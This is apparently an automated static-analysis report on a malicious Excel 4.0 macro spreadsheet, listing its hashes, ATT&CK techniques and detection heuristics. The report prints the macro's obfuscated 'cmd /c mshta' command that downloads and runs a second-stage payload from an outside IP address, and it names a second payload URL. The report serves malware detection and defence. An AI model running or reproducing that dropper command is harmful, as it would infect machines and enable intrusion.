Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 561847579c37e27b…

MALICIOUS

Office (OLE) / .XLS

65.5 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 20267968414668b89ba563844544fff5 SHA-1: 2b20a25b4192d014878d99d0c2e76819ffe4cd6a SHA-256: 561847579c37e27beebaca3d4cd8ac3082a5ad5c2cd0a896c3cd8118e44cd3aa
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses a lure to trick the user into enabling macros. Upon enabling, it executes an Auto_Open macro which reconstructs and runs the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', indicating it downloads a second-stage payload from the specified URL. The macro also defines a name 'SSDGO' with a similar URL, 'http://87.251.86.178/pp/aa.html', likely for further payload retrieval.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1514 bytes